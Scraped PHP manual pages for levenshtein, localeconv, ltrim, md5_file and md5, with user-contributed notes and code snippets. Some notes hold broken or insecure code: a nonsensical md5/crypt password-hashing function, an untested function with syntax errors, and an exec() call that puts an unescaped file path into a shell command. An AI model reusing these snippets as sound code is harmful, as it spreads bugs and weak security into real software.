        // 1 2 3 4 5
        //
        // h a e r t     a e        = 2
        // 1 2 3 4 5   1 2 3 4 5
        //

        $w1 = $w1_len > $w2_len ? $word1 : $word2;
        $w2 = $w1_len > $w2_len ? $word2 : $word1;

        for($i=0; $i < strlen($w1); $i++)
        {
            if ( !isset($w2[$i]) || $w1[$i] != $w2[$i] )
            {
                $score++;
            }
        }

        return $score;
    }

    // *************************************************************
    // Here is a full code example showing the difference

    $misspelled = 'haert';

    // Imagine that these are sample suggestions thrown back by soundex or metaphone..
    $suggestions = array('herat', 'haart', 'heart', 'harte');

    // Firstly order an array based on levenshtein
    $levenshtein_ordered = array();
    foreach ( $suggestions as $suggestion )
    {
        $levenshtein_ordered[$suggestion] = levenshtein($misspelled,$suggestion);
    }
    asort($levenshtein_ordered, SORT_NUMERIC );

    print "<b>Suggestions as ordered by levenshtein...</b><ul><pre>";
    print_r($levenshtein_ordered);
    print "</pre></ul>";

    // Secondly order an array based on btlfsa
    $btlfsa_ordered = array();
    foreach ( $suggestions as $suggestion )
    {
        $btlfsa_ordered[$suggestion] = btlfsa($misspelled,$suggestion);
    }
    asort($btlfsa_ordered, SORT_NUMERIC );

    print "<b>Suggestions as ordered by btlfsa...</b><ul><pre>";
    print_r($btlfsa_ordered);
    print "</pre></ul>";

?>
mcreuzer at r-world dot com 07-Mar-2005 09:01
I am using the Levenshtein distance to SORT my search results.

I have a search page for peoples names. I do a SOUNDEX() search on the name in mysql. MySQL SOUNDEX() will perform the "fuzzy" search for me.

I then calculate the Levenshtein distance between the search term and the actual name found by the SOUNDEX() search. This will give me a score on how close my results are to the search string.

I can the sort my results for display listing the closest results first.

<?php
// PHP CODE INCLUDING DB LOOKUPS HERE
    usort($searchresults, "finallevenshteinsortfunction");

function finallevenshteinsortfunction($a, $b)
{
    if(($a['levenshtein'] > $b['levenshtein']) || ( $a['levenshtein'] == $b['levenshtein'] && strnatcasecmp( $a['Last_Name'], $b['Last_Name']) >= 1) ){ return $a['levenshtein'];} // Ok... The levenstein is greater OR with the same levenshtein, the last name is alphanumerically first
    elseif($a['levenshtein'] == $b['levenshtein']){ return '0';} // The levenstein matches
    elseif($a['levenshtein'] < $b['levenshtein']){ return -$a['levenshtein'];}
    else{die("<!-- a horrable death -->");}
}
?>
silas at silaspalmer dot com 28-Feb-2004 02:52
Some code for a basic fuzzy search.

<?php

$needle = "Youser Nein stitched tymes hand";
$haystack = "
    Did you know that a stitch in time can save nine. Isn't that amazing! I think so
    The user-supplied function has to return the loser, from the sand. Describe the cost for this particular operation.
    Eweser may decide to use only some of the supplied nans. And pay attention. This isn't hard...
    ";

// explode into words
$hwords = preg_split("/[\s\W]+/", $haystack);
$nwords = preg_split("/[\s\W]+/", $needle);

echo "You searched for $needle<br>";
echo "I found...<br>";

foreach ($hwords as $hkey => $hayword) {
    $hmp = metaphone ($hayword);

    foreach ($nwords as $nkey => $needword) {

    // First or last letters of needle and haystack have to match (case insensitive)
    $nfirst = strtolower(substr($needword, 0, 1));
    $nlast = strtolower(substr($needword, -1));
    $hfirst = strtolower(substr($hayword, 0, 1));
    $hlast = strtolower(substr($hayword, -1));

    if (($hfirst == $nfirst) or ($hlast == $nlast)) {

        $nmp = metaphone ($needword);
        $distance = levenshtein ($hmp, $nmp);
        // $distance = levenshtein ($hayword, $needword);
        $n_len = strlen($nmp);
        $per = round(($distance/$n_len)*1000);

        if ($per < 335) {
                // Highlight word in haystack
                $haystack = str_replace($hayword, "<b>$hayword</b>", $haystack);
                $haystack = str_replace("<b><b>", "<b>", $haystack);
                $haystack = str_replace("</b></b>", "</b>", $haystack);

                }
            }
        }
    }

// echo the new haystack
echo $haystack;

// Returns ...
//
// You searched for Youser Nein stitched tymes hand
// I found...
// Did you know that a <b>stitch</b> in <b>time</b> can
// save <b>nine</b>. Isn't that amazing! I think so. The
// <b>user</b>-supplied function has to return the
// <b>loser</b>, from the sand. Describe the cost for this
// particular operation. Eweser may decide to use only some
// of the supplied nans. <b>And</b> pay attention. This
// isn't <b>hard</b>...

?>
gzink at zinkconsulting dot com 03-Dec-2003 03:03
Try combining this with metaphone() for a truly amazing fuzzy search function. Play with it a bit, the results can be plain scary (users thinking the computer is almost telepathic) when implemented properly. I wish spell checkers worked as well as the code I've written.

I would release my complete code if reasonable, but it's not, due to copyright issues. I just hope that somebody can learn from this little tip!
genialbrainmachine at dot IHATESPAM dot tiscali dot it 26-Oct-2003 11:55
I wrote this function to have an "intelligent" comparison between data to be written in a DB
and already existent data. Not ony calculating distances but also balancing distances for
each field.
<?php
/*
This function calculate a balanced percentage distance between an array of strings
"$record" and a compared array "$compared", balanced through an array of
weights "$weight". The three arrays must have the same indices.
For an unbalanced distance, set all weights to 1.
The used formula is:
percentage distance = sum(field_levenshtein_distance * field_weight) / sum(record_field_length * field_weight) * 100
*/
function search_similar($record, $weights, $compared, $precision=2) {
         $field_names = array_keys($record);
         # "Weighted length" of $record and "weighted distance".
         foreach ($field_names as $field_key) {
                 $record_weight += strlen($record[$field_key]) * $weights[$field_key];
                 $weighted_distance += levenshtein($record[$field_key],$compared[$field_key]) * $weights[$field_key];
                 }
         # Building the result..
         if ($record_weight) {
             return round(($weighted_distance / $record_weight * 100),$precision);
            } elseif ((strlen(implode("",$record)) == 0) && (strlen(implode("",$compared)) == 0)) { // empty records
            return round(0,$precision);
            } elseif (array_sum($weights) == 0) { // all weights == 0
            return round(0,$precision);
            } else {
            return false;
            }
         /*
         Be very careful distinguising 0 result and false result.
         The function results 0 ('0.00' if $precision is 2 and so on) if:
         - $record and $compared are equals (even if $record and $compared are empty);
         - all weights are 0 (the meaning could be "no care about any field").
         Conversely, the function results false if $record is empty, but the weights
         are not all 0 and $compared is not empty. That cause a "division by 0" error.
         I wrote this kind of check:

         if ($rel_dist = search_similar(...)) {
             print $rel_dist;
            } elseif ($rel_dist == "0.00") { // supposing that $precision is 2
            print $rel_dist;
            } else {
            print "infinite";
            }

         */
         }
?>
jlsalinas at gmx dot net 25-Oct-2003 07:28
Regarding the post by fgilles on April 26th 2001, I suggest not to use levenshtein() function to test for over-uppercasing unless you've got plenty of time to waste in your host. ;) Anyhow, I think it's a useful feature, as I get really annoyed when reading whole messages in uppercase.

PHP's levenshtein() function can only handle up to 255 characters, which is not realistic for user input (only the first paragraph oh this post has 285 characters). If you choose to use a custom function able to handle more than 255 characters, efficiency is an important issue.

I use this function, specific for this case, but much faster:

function ucase_percent ($str) {
    $str2 = strtolower ($str);

    $l = strlen ($str);
    $ucase = 0;

    for ($i = 0; $i < $l; $i++) {
        if ($str{$i} != $str2{$i}) {
            $ucase++;
        }
    }

    return $ucase / $l * 100.0;
}

I think 10% is enough for written English (maybe other languages like German, which use more capital letters, need more). With some sentencies in uppercase (everybody has the right to shout occasionally), 20% would be enough; so I use a threshold of 30%. When exceeded, I lowercase the whole message.

Hope you find it useful and it helps keeping the web free of ill-mannered people.
inerte is my hotmail.com username 11-Jul-2003 10:22
I am using this function to avoid duplicate information on my client's database.

After retrieving a series of rows and assigning the results to an array values, I loop it with foreach comparing its levenshtein() with the user supplied string.

It helps to avoid people re-registering "John Smith", "Jon Smith" or "Jon Smit".

Of course, I can't block the operation if the user really wants to, but a suggestion is displayed along the lines of: "There's a similar client with this name.", followed by the list of the similar strings.
asseg at ukl dot uni-feiburg dot de 09-May-2003 06:05
for the unserious guys how might do dna sequence analysis
with php. Here's the function that can handle long strings.
to get an output of the matrix uncomment the
printf-section. handle with care iteration are approximately
2x2^strlen ;)

------------------------------------------------------------
function levdis($s,$t){
    $n=strlen($s);
    $m=strlen($t);
    $matrix=array(range(0,$n+1),range(0,$m+1));
    $ret=0;
    if ($n==0){
        return $m;
    }
    elseif ($m==0){
        return $n;
    }
    for ($i=0;$i<=$n;$i++) {
        $matrix[$i][0]=$i;
    }
    for  ($j=0;$j<=$m;$j++) {
        $matrix[0][$j]=$j;
    }
    for ($i=1;$i<=$n;$i++) {
        for  ($j=1;$j<=$m;$j++) {
            if ($s[$i-1]==$t[$j-1]) {
                $cost=0;
            }else{
                $cost=1;
            }
           $matrix[$i][$j]=min($matrix[$i-1][$j]+1,
                                       $matrix[$i][$j-1]+1,
                                       $matrix[$i-1][$j-1]+$cost);

        }
    }
/* for ($j=0;$j<=$m;$j++) {
        for ($i=0;$i<=$n;$i++) {
            printf("  %02d",$matrix[$i][$j]);
        }
        echo "\n";
    }*/
    return $matrix[$n][$m];
}
                                                                                ----------------------------------------------
bisqwit at iki dot fi 12-Aug-2002 07:43
At the time of this manual note the user defined thing
in levenshtein() is not implemented yet. I wanted something
like that, so I wrote my own function. Note that this
doesn't return levenshtein() difference, but instead
an array of operations to transform a string to another.

Please note that the difference finding part (resync)
may be extremely slow on long strings.

<?php

/* matchlen(): returns the length of matching
 * substrings at beginning of $a and $b
 */
function matchlen(&$a, &$b)
{
  $c=0;
  $alen = strlen($a);
  $blen = strlen($b);
  $d = min($alen, $blen);
  while($a[$c] == $b[$c] && $c < $d)
    $c++;
  return $c;
}

/* Returns a table describing
 * the differences of $a and $b */
function calcdiffer($a, $b)
{
  $alen = strlen($a);
  $blen = strlen($b);
  $aptr = 0;
  $bptr = 0;

  $ops = array();

  while($aptr < $alen && $bptr < $blen)
  {
    $matchlen = matchlen(substr($a, $aptr), substr($b, $bptr));
    if($matchlen)
    {
      $ops[] = array('=', substr($a, $aptr, $matchlen));
      $aptr += $matchlen;
      $bptr += $matchlen;
      continue;
    }
    /* Difference found */

    $bestlen=0;
    $bestpos=array(0,0);
    for($atmp = $aptr; $atmp < $alen; $atmp++)
    {
      for($btmp = $bptr; $btmp < $blen; $btmp++)
      {
        $matchlen = matchlen(substr($a, $atmp), substr($b, $btmp));
        if($matchlen>$bestlen)
        {
          $bestlen=$matchlen;
          $bestpos=array($atmp,$btmp);
        }
        if($matchlen >= $blen-$btmp)break;
      }
    }
    if(!$bestlen)break;

    $adifflen = $bestpos[0] - $aptr;
    $bdifflen = $bestpos[1] - $bptr;

    if($adifflen)
    {
      $ops[] = array('-', substr($a, $aptr, $adifflen));
      $aptr += $adifflen;
    }
    if($bdifflen)
    {
      $ops[] = array('+', substr($b, $bptr, $bdifflen));
      $bptr += $bdifflen;
    }
    $ops[] = array('=', substr($a, $aptr, $bestlen));
    $aptr += $bestlen;
    $bptr += $bestlen;
  }
  if($aptr < $alen)
  {
    /* b has too much stuff */
    $ops[] = array('-', substr($a, $aptr));
  }
  if($bptr < $blen)
  {
    /* a has too little stuff */
    $ops[] = array('+', substr($b, $bptr));
  }
  return $ops;
}

Example:

$tab = calcdiffer('Tämä on jonkinlainen testi',
                  'Tämä ei ole minkäänlainen testi.');
$ops = array('='=>'Ok', '-'=>'Remove', '+'=>'Add');
foreach($tab as $k)
  echo $ops[$k[0]], " '", $k[1], "'\n";

Example output:

Ok 'Tämä '
Remove 'on jonki'
Add 'ei ole minkää'
Ok 'nlainen testi'
Add '.'
11-Apr-2002 06:57
For spell checking applications, delay could be tolerable if you assume the typist got the first two or three chars of each word right.  Then you'd only need to calc distances for a small segment of the dictionary.  This is a compromise but one I think a lot of spell checkers make.
For an example of site search using this function look at the PHP manual search button on this page.  It appears to be doing this for the PHP function list.
fgilles at free dot fr 26-Apr-2001 01:32
Exempla of use for a forum: users can't post messages too much uppercased

<?php
if ((strlen($subject)>10) and ( ( levenshtein ($subject, strtolower ($subject) / strlen ($subject) ) > .3 ) ){
    $subject = strtolower($subject);
}
?>
hholzgra at php dot net 11-Aug-2000 01:20
well, think of it as a sort of typo counter

by the way we might introduce a feature similar to something that the jikes compiler for java does using this function:

every time you try to access an undefined funtion you will get a suggestion of a function that's named
similar to what you requested

e.g.:

Undefined function 'rest()'!
Where you looking for 'reset()' instead?
dschultz at protonic dot com 10-Aug-2000 09:01
It's also useful if you want to make some sort of registration page and you want to make sure that people who register don't pick usernames that are very similar to their passwords.
Mathijs Brands &lt;mathijs at ilse dot nl&gt; 06-Aug-2000 05:54
This could come in handy if you were to implement a simple searchengine in PHP. It would allow for simple fuzzy searching.
ad1n at dc dot uba dot ar 04-Aug-2000 05:01
One application of this is when you want to look for a similar match instead of an exact one. You can sort the results of checking the distances of a word to a dictionary and sort them to see which were the more similar ones. Of course it will be a quite resourse consuming task anyway.
lcfirst
localeconv
String Functions


Get numeric formatting information

levenshtein
ltrim
String Functions
PHP Manual

localeconv

(PHP 4 >= 4.0.5, PHP 5)

localeconv — Get numeric formatting information

Description

array localeconv ( void )

Returns an associative array containing localized numeric and monetary formatting information.

Return Values

localeconv() returns data based upon the current locale as set by setlocale(). The associative array that is returned contains the following fields:

Array element | Description
decimal_point | Decimal point character
thousands_sep | Thousands separator
grouping | Array containing numeric groupings
int_curr_symbol | International currency symbol (i.e. USD)
currency_symbol | Local currency symbol (i.e. $)
mon_decimal_point | Monetary decimal point character
mon_thousands_sep | Monetary thousands separator
mon_grouping | Array containing monetary groupings
positive_sign | Sign for positive values
negative_sign | Sign for negative values
int_frac_digits | International fractional digits
frac_digits | Local fractional digits
p_cs_precedes | TRUE if currency_symbol precedes a positive value, FALSE if it succeeds one
p_sep_by_space | TRUE if a space separates currency_symbol from a positive value, FALSE otherwise
n_cs_precedes | TRUE if currency_symbol precedes a negative value, FALSE if it succeeds one
n_sep_by_space | TRUE if a space separates currency_symbol from a negative value, FALSE otherwise
p_sign_posn
  • 0 - Parentheses surround the quantity and currency_symbol
  • 1 - The sign string precedes the quantity and currency_symbol
  • 2 - The sign string succeeds the quantity and currency_symbol
  • 3 - The sign string immediately precedes the currency_symbol
  • 4 - The sign string immediately succeeds the currency_symbol
n_sign_posn
  • 0 - Parentheses surround the quantity and currency_symbol
  • 1 - The sign string precedes the quantity and currency_symbol
  • 2 - The sign string succeeds the quantity and currency_symbol
  • 3 - The sign string immediately precedes the currency_symbol
  • 4 - The sign string immediately succeeds the currency_symbol

The p_sign_posn, and n_sign_posn contain a string of formatting options. Each number representing one of the above listed conditions.

The grouping fields contain arrays that define the way numbers should be grouped. For example, the monetary grouping field for the nl_NL locale (in UTF-8 mode with the euro sign), would contain a 2 item array with the values 3 and 3. The higher the index in the array, the farther left the grouping is. If an array element is equal to CHAR_MAX, no further grouping is done. If an array element is equal to 0, the previous element should be used.

Examples

Example #1 localeconv() example

<?php
if (false !== setlocale(LC_ALL, 'nl_NL.UTF-8@euro')) {
    $locale_info = localeconv();
    print_r($locale_info);
}
?>

The above example will output:

Array
(
    [decimal_point] => .
    [thousands_sep] =>
    [int_curr_symbol] => EUR
    [currency_symbol] => €
    [mon_decimal_point] => ,
    [mon_thousands_sep] =>
    [positive_sign] =>
    [negative_sign] => -
    [int_frac_digits] => 2
    [frac_digits] => 2
    [p_cs_precedes] => 1
    [p_sep_by_space] => 1
    [n_cs_precedes] => 1
    [n_sep_by_space] => 1
    [p_sign_posn] => 1
    [n_sign_posn] => 2
    [grouping] => Array
        (
        )

    [mon_grouping] => Array
        (
            [0] => 3
            [1] => 3
        )

)

See Also

  • setlocale() - Set locale information

User Contributed Notes

PixEye dot DELETE at bigfoot dot com 24-Nov-2007 01:15
A function to get the right money & number formats:
<?php
function displayLocales($number, $isMoney, $lg='en_US.utf8') {
    $ret = setLocale(LC_ALL, $lg);
    setLocale(LC_TIME, 'Europe/Paris');
    if ($ret===FALSE) {
        echo "Language '$lg' is not supported by this system.\n";
        return;
    }
    $LocaleConfig = localeConv();
    forEach($LocaleConfig as $key => $val) $$key = $val;

    // Sign specifications:
    if ($number>0) {
        $sign = $positive_sign;
        $sign_posn = $p_sign_posn;
        $sep_by_space = $p_sep_by_space;
        $cs_precedes = $p_cs_precedes;
    } else {
        $sign = $negative_sign;
        $sign_posn = $n_sign_posn;
        $sep_by_space = $n_sep_by_space;
        $cs_precedes = $n_cs_precedes;
    }

    // Number format:
    $n = number_format(abs($number), $frac_digits,
        $decimal_point, $thousands_sep);
    $n = str_replace(' ', '&nbsp;', $n);
    switch($sign_posn) {
        case 0: $n = "($n)"; break;
        case 1: $n = "$sign$n"; break;
        case 2: $n = "$n$sign"; break;
        case 3: $n = "$sign$n"; break;
        case 4: $n = "$n$sign"; break;
        default: $n = "$n [error sign_posn=$sign_posn&nbsp;!]";
    }

    // Currency format:
    $m = number_format(abs($number), $frac_digits,
        $mon_decimal_point, $mon_thousands_sep);
    if ($sep_by_space) $space = ' '; else $space = '';
    if ($cs_precedes) $m = "$currency_symbol$space$m";
    else $m = "$m$space$currency_symbol";
    $m = str_replace(' ', '&nbsp;', $m);
    switch($sign_posn) {
        case 0: $m = "($m)"; break;
        case 1: $m = "$sign$m"; break;
        case 2: $m = "$m$sign"; break;
        case 3: $m = "$sign$m"; break;
        case 4: $m = "$m$sign"; break;
        default: $m = "$m [error sign_posn=$sign_posn&nbsp;!]";
    }
    if ($isMoney) return $m; else return $n;
}

$number = -12345.12345;
echo '<div>'.displayLocales($number, FALSE)."</div>\n";
echo '<div>'.displayLocales($number, TRUE)."</div>\n";
?>
verdy_p at wanadoo dot fr 22-Jul-2001 07:13
The C99 standard modified slightly the definition of the international currency symbol, which is now 4 characters long instead of 3 in previous definitions. The fourth character will most often be an ASCII space, but its effective value is the locale-specific spacing character used for numeric grouping (i.e. the one refered by [sep_by_space] and [grouping])...
levenshtein
ltrim
String Functions


Strip whitespace (or other characters) from the beginning of a string

localeconv
md5_file
String Functions
PHP Manual

ltrim

(PHP 4, PHP 5)

ltrim — Strip whitespace (or other characters) from the beginning of a string

Description

string ltrim ( string $str [, string $charlist ] )

Strip whitespace (or other characters) from the beginning of a string.

Parameters

str

The input string.

charlist

You can also specify the characters you want to strip, by means of the charlist parameter. Simply list all characters that you want to be stripped. With .. you can specify a range of characters.

Return Values

This function returns a string with whitespace stripped from the beginning of str. Without the second parameter, ltrim() will strip these characters:

  • " " (ASCII 32 (0x20)), an ordinary space.
  • "\t" (ASCII 9 (0x09)), a tab.
  • "\n" (ASCII 10 (0x0A)), a new line (line feed).
  • "\r" (ASCII 13 (0x0D)), a carriage return.
  • "\0" (ASCII 0 (0x00)), the NUL-byte.
  • "\x0B" (ASCII 11 (0x0B)), a vertical tab.

Changelog

Version | Description
4.1.0 | The charlist parameter was added.

Examples

Example #1 Usage example of ltrim()

<?php

$text = "\t\tThese are a few words :) ...  ";
$binary = "\x09Example string\x0A";
$hello  = "Hello World";
var_dump($text, $binary, $hello);

print "\n";

$trimmed = ltrim($text);
var_dump($trimmed);

$trimmed = ltrim($text, " \t.");
var_dump($trimmed);

$trimmed = ltrim($hello, "Hdle");
var_dump($trimmed);

// trim the ASCII control characters at the beginning of $binary
// (from 0 to 31 inclusive)
$clean = ltrim($binary, "\x00..\x1F");
var_dump($clean);

?>

The above example will output:

string(32) "        These are a few words :) ...  "
string(16) "    Example string
"
string(11) "Hello World"

string(30) "These are a few words :) ...  "
string(30) "These are a few words :) ...  "
string(7) "o World"
string(15) "Example string
"

See Also

  • trim() - Strip whitespace (or other characters) from the beginning and end of a string
  • rtrim() - Strip whitespace (or other characters) from the end of a string

User Contributed Notes

dzek dot remove_this at dzek dot eu 25-Jul-2011 01:27
Guys, if += 0 is producing wrong values sometimes, and preg_replace is cpu consuming, then just stick to the main function described on that page, and use:
<?php
$value = ltrim($value, '0');
?>
should be the fastest and most reliable.
I think all those comments can be misleading for begginers checking this page - it's sort of using magic tricks to reinvent the wheel.
Mike 08-Jan-2011 12:03
Keep in mind the amount of resources preg_replace() uses.
I would suggest a simple if statement if you need to parse through large amounts of data.
<?php
function remove_leading_zeros_from_number($number_string) {
  $limit = 9000.1
  $temp = $number
  (float) $temp;
  if ($number < $limit) {
    $number += 0;
  } else {
    preg_replace('~^[0]*([1-9][0-9]*)$~','$1',$number_string)
  }
}
?>

Code is untested, but probably sound.
tanmar.de 06-May-2010 10:36
The neat trick from Mr. Sherwood has only one ugly side-effect: If the "number" contained in the string is considerably large, you will end up with an int (or float) value that has nothing to do with the original number ...

You may use preg_replace instead:

$number_string = preg_replace('~^[0]*([1-9][0-9]*)$~','$1',$number_string);

This kills any leading zeros safely without changing any other data.

Hope this helps.
Usamah M dot Ali (usamah1228 at gmail dot com) 04-Feb-2008 02:42
For those who use right-to-left languages such as Arabic, Hebrew, etc., it's worth mentioning that ltrim() (which stands for left trim) & rtrim() (which stands for right trim) DO NOT work contextually. The nomenclature is rather semantically incorrect. So in an RTL script, ltrim() will trim text from the right direction (i.e. beginning of RTL strings), and rtrim() will trim text from the left direction (i.e. end of RTL strings).
John Sherwood 06-Aug-2006 12:13
To remove leading/trailing zeroes (example: "0123.4560"), doing a += 0 is easier than trim tricks.
localeconv
md5_file
String Functions


Calculates the md5 hash of a given file

ltrim
md5
String Functions
PHP Manual

md5_file

(PHP 4 >= 4.2.0, PHP 5)

md5_file — Calculates the md5 hash of a given file

Description

string md5_file ( string $filename [, bool $raw_output = false ] )

Calculates the MD5 hash of the file specified by the filename parameter using the » RSA Data Security, Inc. MD5 Message-Digest Algorithm, and returns that hash. The hash is a 32-character hexadecimal number.

Parameters

filename

The filename

raw_output

When TRUE, returns the digest in raw binary format with a length of 16.

Return Values

Returns a string on success, FALSE otherwise.

Changelog

Version | Description
5.0.0 | Added the raw_output parameter
5.1.0 | Changed the function to use the streams API. It means that you can use it with wrappers, like md5_file('http://example.com/..')

Examples

Example #1 Usage example of md5_file()

<?php
$file = 'php-5.3.0alpha2-Win32-VC9-x64.zip';

echo 'MD5 file hash of ' . $file . ': ' . md5_file($file);
?>

See Also

  • md5() - Calculate the md5 hash of a string
  • sha1_file() - Calculate the sha1 hash of a file
  • crc32() - Calculates the crc32 polynomial of a string

User Contributed Notes

Chris 08-Nov-2009 07:24
If you just need to find out if two files are identical, comparing file hashes can be inefficient, especially on large files.  There's no reason to read two whole files and do all the math if the second byte of each file is different.  If you don't need to store the hash value for later use, there may not be a need to calculate the hash value just to compare files.  This can be much faster:

<?php
define('READ_LEN', 4096);

if(files_identical('file1.txt', 'file2.txt'))
    echo 'files identical';
else
    echo 'files not identical';

//   pass two file names
//   returns TRUE if files are the same, FALSE otherwise
function files_identical($fn1, $fn2) {
    if(filetype($fn1) !== filetype($fn2))
        return FALSE;

    if(filesize($fn1) !== filesize($fn2))
        return FALSE;

    if(!$fp1 = fopen($fn1, 'rb'))
        return FALSE;

    if(!$fp2 = fopen($fn2, 'rb')) {
        fclose($fp1);
        return FALSE;
    }

    $same = TRUE;
    while (!feof($fp1) and !feof($fp2))
        if(fread($fp1, READ_LEN) !== fread($fp2, READ_LEN)) {
            $same = FALSE;
            break;
        }

    if(feof($fp1) !== feof($fp2))
        $same = FALSE;

    fclose($fp1);
    fclose($fp2);

    return $same;
}
?>
Sebastian Zavadschi (php.box.md) 22-Sep-2008 01:55
I need to parse a big file after it was changed (a shared XLS file). I've fond a good idea to check once a minute the checksum of the file, in order to track if it was changed or not. Here is my code, hope will help some one. Any improvements are welcome!

<?php
$file_xls = "test.xls";
$file_md5 = "test.xls.md5"; // Must exists and must be writable for PHP
$md5_new_file = trim(md5_file($file_xls));
$md5_old_file = trim(file_get_contents($file_md5));

if($md5_new_file <> $md5_old_file)
    {
    echo "file is out of date, updating now...";
    rename($file_md5, $file_md5.".bak");
    $fp = fopen($file_md5, 'w');
    fwrite($fp, $md5_new_file);
    fclose($fp);
/*
Here we do some job...
In my case - dealing with "Spreadsheet Excel Reader"
*/
    unlink($file_md5.".bak");
    }
// "Not for crontab" - Remove the following section if you are intending to run it in crontab
else
    {
    echo "file is up to date, nothing to do...";
    }
// End "Not for crontab";
?>
smartin 12-Mar-2008 04:58
In response to using exec instead for performance (Nov 13 2007 post), It looks like the performance depends on the size of the file.  See the results below using the same script from the original post.  The first hash is with md5_file and the second is with openssl md5.

With a 1MB file:
Hash = df1555ec0c2d7fcad3a03770f9aa238a; time = 0.005006
Hash = df1555ec0c2d7fcad3a03770f9aa238a; time = 0.01498

With a 2MB file:

Hash = 4387904830a4245a8ab767e5937d722c; time = 0.010393
Hash = 4387904830a4245a8ab767e5937d722c; time = 0.016691

With a 10MB file:

Hash = b89f948e98f3a113dc13fdbd3bdb17ef; time = 0.241907
Hash = b89f948e98f3a113dc13fdbd3bdb17ef; time = 0.037597

Performance seems to change proportionally with the file size.  Judging from the previous post's default file name (.mov) he/she was probably dealing with a large file.  These are just quick tests and far from a perfect benchmark, but you might want to test your own files before assuming that the openssl solution is faster (ie, if working with small text files vs. movies, etc)
toby at globaloptima dot co dot uk 18-Nov-2007 12:15
I'm wondering about the MD5_DIR function posted by potsed, what happens if the file listing is returned in a different order?

From what I can tell you get different MD5's based on the order, a minor addition sorts this:

    ...
    asort($filemd5s); //sort the md5s before concat
    return md5(implode('', $filemd5s));
}
glau dot stuff at N0_SPAM dot ridiculousprods dot com 13-Nov-2007 05:54
It's much faster to call an 'exec' command to openssl md5 than to use md5_file.

<?php

$file_path = '/path/to/large/video_file.mov';

$begin = microtime(true);

$hash = md5_file($file_path);

$end = microtime(true) - $begin;

echo "Hash = $hash; time = $end<br>";
# Hash = eac425a6f5b90f69e74710b015228640; time = 2.5333859920502

$begin = microtime(true);

$result = split('=',exec("openssl md5 $file_path"));

$end = microtime(true) - $begin;

echo "Hash = ".$result[1]."; time = $end";
#Hash = eac425a6f5b90f69e74710b015228640; time = 0.79528999328613

?>

I consistently see about a 3x improvement in speed.
potsed [at] gmail [dot] com 27-May-2007 04:12
Heres a function to give an md5 for an entire directory..

function MD5_DIR($dir)
{
    if (!is_dir($dir))
    {
        return false;
    }

    $filemd5s = array();
    $d = dir($dir);

    while (false !== ($entry = $d->read()))
    {
        if ($entry != '.' && $entry != '..')
        {
             if (is_dir($dir.'/'.$entry))
             {
                 $filemd5s[] = MD5_DIR($dir.'/'.$entry);
             }
             else
             {
                 $filemd5s[] = md5_file($dir.'/'.$entry);
             }
         }
    }
    $d->close();
    return md5(implode('', $filemd5s));
}
bubba at revbubba dot com 29-Mar-2005 04:56
a working example of the usage of this function, to confirm a specific file has not been modified (replace all instances of "myfile.xxx" with your filename):

<?php
$chkfilename = "myfile.xxx";
$chkmd5return = md5_file($chkfilename);
if ($chkmd5return != "myfile.xxx's md5 value") {
     echo "You have replaced myfile.xxx with an unknown version of the file, please replace the original file.";
} else {
     (your code to be executed, now that it has confirmed your myfile.xxx has been unmodified)
}
?>

To find out the file's md5 value, create a new .php doc, and put this code in it:

<?php
$chkfilename = "myfile.xxx";
$chkmd5return = md5_file($chkfilename);
echo $chkmd5return;
?>

Then upload the new .php doc to your webserver and navigate to it.  Be sure to delete the new .php doc once you have plugged in the value it spits out, into the "myfile.xxx's md5 value" in the first example above.

I just thought this example might be helpful to someone somewhere...  if you php.net people feel it needs editing or deletion, I leave it to your discretion.  ;)
richard at interlink dot com dot au 16-Nov-2004 12:57
For those of you with PHP 4 that want to output the "raw" 128 bit hash, all you need to do is send it to pack to convert the hex string into the raw output.

ie:
$filename="checkthisfile.bin";
$rawhash=pack("H*",md5_file($filename));
ltrim
md5
String Functions


Calculate the md5 hash of a string

md5_file
metaphone
String Functions
PHP Manual

md5

(PHP 4, PHP 5)

md5 — Calculate the md5 hash of a string

Description

string md5 ( string $str [, bool $raw_output = false ] )

Calculates the MD5 hash of str using the » RSA Data Security, Inc. MD5 Message-Digest Algorithm, and returns that hash.

Parameters

str

The string.

raw_output

If the optional raw_output is set to TRUE, then the md5 digest is instead returned in raw binary format with a length of 16.

Return Values

Returns the hash as a 32-character hexadecimal number.

Changelog

Version | Description
5.0.0 | The raw_output parameter was added.

Examples

Example #1 A md5() example

<?php
$str = 'apple';

if (md5($str) === '1f3870be274f6c49b3e31a0c6728957f') {
    echo "Would you like a green or red apple?";
}
?>

Notes

Note: Secure password hashing

It is not recommended to use this function to secure passwords, due to the fast nature of this hashing algorithm. See here for details.

See Also

  • md5_file() - Calculates the md5 hash of a given file
  • sha1_file() - Calculate the sha1 hash of a file
  • crc32() - Calculates the crc32 polynomial of a string
  • sha1() - Calculate the sha1 hash of a string
  • hash() - Generate a hash value (message digest)

User Contributed Notes

anthonymccuen at yahoo dot com 24-Nov-2011 02:49
If your going to hash a password or some other content, you can try the code below.

<?php
function hash_pass($password) {
$appKey = sha1($password);

$appId = 555;
$otherApp = '6cf6e971f7c125615a1ee20510c1c70f';     // simple md5

$appSaltKey = crypt($password);

$getStrLen = strlen($appKey);
$getIdLen = strlen($appId);
$randzStrInt = rand($appId, 999);

    if ($appId === 555) {
        $go = strlen($appKey);
        $other = strlen(crypt(md5(rand($appId, $appId))));
        $execute = rand($other, $appId) . "-" . rand($go, $appId) . "-" . rand(strlen(crypt($otherApp)), $appId);
        echo $execute . " today is <b>" . $date . "</b>";
    }
?>
David Foley (dev at davidfoley dot org) 15-Sep-2011 06:54
If you are using Dojo toolkit's "dojox.encoding.digests.MD5()" to generate an MD5 hash on the client side, you may run in to difficulty. Dojo returns a base 64 encoded MD5 hash, and as a result is not the same as PHPs. This is an issue when trying to verify a hash.

To get the Dojo style hash from PHP use the following:

<?php

/**
 * Function to generate base 64 encoded hash
 * in the the style of dojox.encoding.digests.MD5()
 *
 * @param string $data Data to be hased
 * @return string base64 encoded MD5 hash
 */
function md5_base64($data) {
    return base64_encode(pack('H*',md5($data)));
}

?>
Anonymous 03-May-2011 10:28
This is not encryption..... it's only a sort of DIGEST
John 17-Nov-2009 03:08
If you want to hash a large amount of data you can use the hash_init/hash_update/hash_final functions.

This allows you to hash chunks/parts/incremental or whatever you like to call it.
Serge 20-May-2008 03:19
To convert an MD5 to 22 chars that contains only letters and numeric

<?php
define('HEX_CHARS',    '0123456789abcdef');
define('BASE62_CHARS', '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ');

/*********************************************/
function ConvertFromArbitraryBase($Str, $Chars)
/*********************************************/
{
    /*
